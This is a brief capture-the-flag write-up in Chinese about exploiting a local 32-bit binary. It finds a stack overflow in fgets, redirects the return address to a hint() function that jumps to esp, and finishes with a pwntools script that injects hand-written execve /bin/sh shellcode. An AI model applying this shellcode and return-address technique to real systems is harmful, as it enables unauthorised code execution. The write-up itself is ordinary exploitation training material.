1.checksec
2.ida
fgets处能栈溢出,然后我们发现可疑函数hint()
这个函数会直接跳转到esp处执行,我们可以在栈溢出时将返回地址溢出到该函数处,到时候函数执行返回指令ret(pop eip)时esp会-4,跳转到hint函数时会jmp到esp(返回地址的下一个位置),我们可以在这个位置随意构造汇编指令。
所以首先我们可以在s开始的位置就将shellcode写入,手搓shellcode的长度也就32,然后通过上面的思路,构造汇编指令时可以构造sub esp,40;call esp 这样程序就会跳转到shellcode的位置处执行。
3.exp
from pwn import*
p=process('./31')
shellcode=asm("xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80")
ret=0x8048554
payload=shellcode+b'a'*12+p32(ret)+asm("sub esp,40;call esp")
p.sendline(payload)
p.interactive()